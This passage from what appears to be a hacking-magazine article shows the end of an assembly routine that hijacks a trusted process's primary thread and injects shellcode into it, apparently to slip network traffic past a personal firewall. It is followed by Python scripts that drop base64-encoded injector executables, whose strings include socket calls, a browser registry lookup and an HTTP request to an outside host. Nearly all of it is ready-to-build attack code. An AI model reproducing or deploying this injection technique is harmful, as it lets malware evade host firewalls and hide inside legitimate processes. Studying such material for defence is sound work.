EJUMP BPE5
MOV IEV_HANDLE, EAX
; Find a suitable, trusted process that we can use
; to hijack its primary thread. We will then pause
; that primary thread and make sure that its suspend
; count is exactly 1. It might seem a bit too careful,
; but if the primary thread is already suspended at
; the moment of infection, we have a problem. Thus,
; we will rather make sure with some more commands
; that the thread can be resumed with a single call
; to ResumeThread().
INVOKE getsvc, ADDR pinf
EJUMP BPE5
INVOKE SuspendThread, pinf.hThread
CMP EAX, 0FFFFFFFFH
JE BPE3
CMP EAX, 0
JE SPOK
SPL: INVOKE ResumeThread, pinf.hThread
CMP EAX, 1
JNE SPL
; Here we go, the thread is paused and ready to be
; hijacked. First, we get the EIP register along with
; some others that do not interest us.
SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL
INVOKE GetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE2
; Now, allocate memory in the remote process' address
; space for the shellcode and the injected function
INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
MEM_COMMIT,PAGE_EXECUTE_READWRITE
EJUMP BPE2
MOV pbRemoteMemory,EAX
MOV EBX, EAX ; EBX: remote base address
ADD EAX, CODESZE ; this is the future address
MOV PUSH_ADDR, EAX ; of the inject function
MOV EAX, mct.regEip ; this is the current EIP
MOV EDX, EBX ; EDX: remote base address
ADD EDX, JUMPDIFF ; EDX: absolute address of JMP call
; Now we calculate the distance between the JMP call and
; the current EIP. The JMP CPU instruction is followed by
; a double word that contains the relative number of bytes
; to jump away from the current position. This is a signed
; long value which is basically added to the EIP register.
; To calculate the appropriate value, we need to subtract
; the position of the JMP call from the offset we want to
; jump to and subtract another 5 byte since the JMP
; instruction itself has that length.
SUB EAX, EDX
SUB EAX, 05H
MOV JUMP_ADDR, EAX
; Our shellcode is now complete, we will write it along
; with the inject function itself to the remote process.
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
OFFSET SHELLCODE,CODESZE,0
EJUMP BPE1
ADD EBX, CODESZE
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
FUNCADDR,FUNCSZE,0
EJUMP BPE1
; Done. Now hijack the primary thread by resetting its
; instruction pointer to continue the flow of execution
; at the offset of our own, injected code
MOV EDX, pbRemoteMemory
MOV mct.regEip, EDX
INVOKE SetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE1
; And let the thread continue ...
INVOKE ResumeThread, pinf.hThread
CMP EAX, 0FFFFFFFFH
JE BPE1
; Now this is where we are making use of the event we
; created. We will wait until the injected code signals
; the event (at a reasonable timeout) and sleep for
; another second to make sure our code has done its
; job completely before we start with the cleanup.
INVOKE WaitForSingleObject, IEV_HANDLE, 60000
CMP EAX, 0
JE BPOK
; However, if something goes wrong it is better
; to terminate the thread as silently as possible.
INVOKE TerminateThread, pinf.hThread, 1
BPOK: INVOKE Sleep, 1000
BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \
pbRemoteMemory,ALLSZE,MEM_RELEASE
BPE2: INVOKE ResumeThread, pinf.hThread
BPE3: CMP pinf.hThread, 0
JE BPE4
INVOKE CloseHandle,pinf.hThread
BPE4: CMP pinf.hProcess, 0
JE BPE5
INVOKE CloseHandle,pinf.hProcess
BPE5: INVOKE CloseHandle, IEV_HANDLE
RET
bypass ENDP
END Main
-[0x0D] :: binaries (base64) ---------------------------------------------
These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.
############################# injector.py #############################
from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA
AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI
lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")
############################### tiny.py ###############################
from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY
2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//
agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm
oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl
QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX
RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH
ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG
Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw
IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi
B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzHRfAAAAAA
x0X0AAAAAMdFxAAAAADHRcwAAAAAx0XgAAAAAANAPItAeANF/IlF+ItAIANF/IsIA038uA
AAAADrAUC7AAAAAIvTweMFweobC9q6AAAAAIoRA9pBihGD+gB15VArRfRrwARBi1X4i1Ic
A1X8ixQQA1X8iVXwO9F1A/9F9FiB+5BVyZl1tYtVCIHCCwAAAFL/dfz/VfCD+AAPhFgCAA
CJReyLVQiBwhwAAABS/3X8/1Xwg/gAD4Q8AgAAiUXoi1UIgcIpAAAAUv91/P9V8IP4AA+E
IAIAAIlF5ItVCIHCNQAAAFL/dfz/VfCD+AAPhAQCAACJReCLVQiBwkAAAABS/3X8/1Xwg/
gAD4ToAQAAiUXci1UIgcJMAAAAUv91/P9V8IP4AA+EzAEAAIlF2ItVCIHCWwAAAFL/VeyD
+AAPhLMBAACJRdCLVQiBwo8AAABS/1Xog/gAD4SaAQAAiUXMi1UIgcJmAAAAUv910P9V8I
P4AA+EfgEAAIlF1ItVCIHCmgAAAFL/dcz/VfCD+AAPhGIBAACJRciLVQiBwqUAAABS/3XM
/1Xwg/gAD4RGAQAAiUXEi1UIgcKwAAAAUv91zP9V8IP4AA+EKgEAAIlFwItVCIHCtwAAAF
L/dcz/VfCD+AAPhA4BAACJRbyLVQiBwr8AAABS/3XM/1Xwg/gAD4TyAAAAiUW4i1UIgcLE
AAAAUv91zP9V8IP4AA+E1gAAAIlFtItVCIHCyQAAAFL/dcz/VfCD+AAPhLoAAACJRbCLVQ
iBwtUAAABSagL/VciD+AAPhZ8AAABqAGoBagL/VcCD+P8PhI0AAACL2GoQi1UIgcJjAgAA
UlP/VbyD+P90dmoAaiiLVQiBwq8CAABSU/9VuIP4/3RfuQAAAACLVQiBwu0CAAAD0VJRag
BqAVJT/1W0WVo8AXUZg/kCeAuKAjpC/nUEPAp0CUGB+VgCAAB1y1P/VbBqQItVCIHC2AIA
AFKLVQiBwu0CAABSagD/VdTrAGoB6wJqAFCDfcQAdDj/VcSDfcwAdC//dcz/VeSDfeAAdC
OLVQiBwlUAAABSagBoAwAfAP9V4IP4AHQKi9hT/1XYU/9V3FjJwgQAVYvsgcQY/f//x0Xw
AAAAAMdF9AAAAABoHjBAAGoAagFqAOiCAQAAg/gAD4RmAQAAoyQwQACNRfBQ6O/1//+D+A
APhE8BAAD/dfToogEAAIP4/w+EIgEAAIP4AHQN/3X06HoBAACD+AF188eFJP3//wEAAQCN
hST9//9Q/3X06D4BAACD+AAPhOYAAABqQGgAEAAAaE8JAABqAP918OhnAQAAg/gAD4THAA
AAiYUY/f//i9iDwBOjKzBAAIuF3P3//4vTg8IOK8KD6AWjNzBAAGoAahNoKDBAAFP/dfDo
OQEAAIP4AHRzg8MTagBoPAkAAGikEUAAU/918OgcAQAAg/gAdFaLlRj9//+Jldz9//+NhS
T9//9Q/3X06MYAAACD+AB0Nv919OizAAAAg/j/dCloYOoAAP81JDBAAOjUAAAAg/gAdApq
Af919OinAAAAaOgDAADokQAAAGgAgAAAaE8JAAD/tRj9////dfDonQAAAP919OhlAAAAg3
30AHQI/3X06BsAAACDffAAdAj/dfDoDQAAAP81JDBAAOgCAAAAycP/JWAgQAD/JTAgQAD/
JVggQAD/JTQgQAD/JRwgQAD/JRAgQAD/JRQgQAD/JRggQAD/JSAgQAD/JSQgQAD/JSggQA
D/JSwgQAD/JVwgQAD/JWQgQAD/JTggQAD/JTwgQAD/JUAgQAD/JUQgQAD/JUggQAD/JUwg
QAD/JVAgQAD/JVQgQAD/JQggQAD/JQQgQAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA
AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h
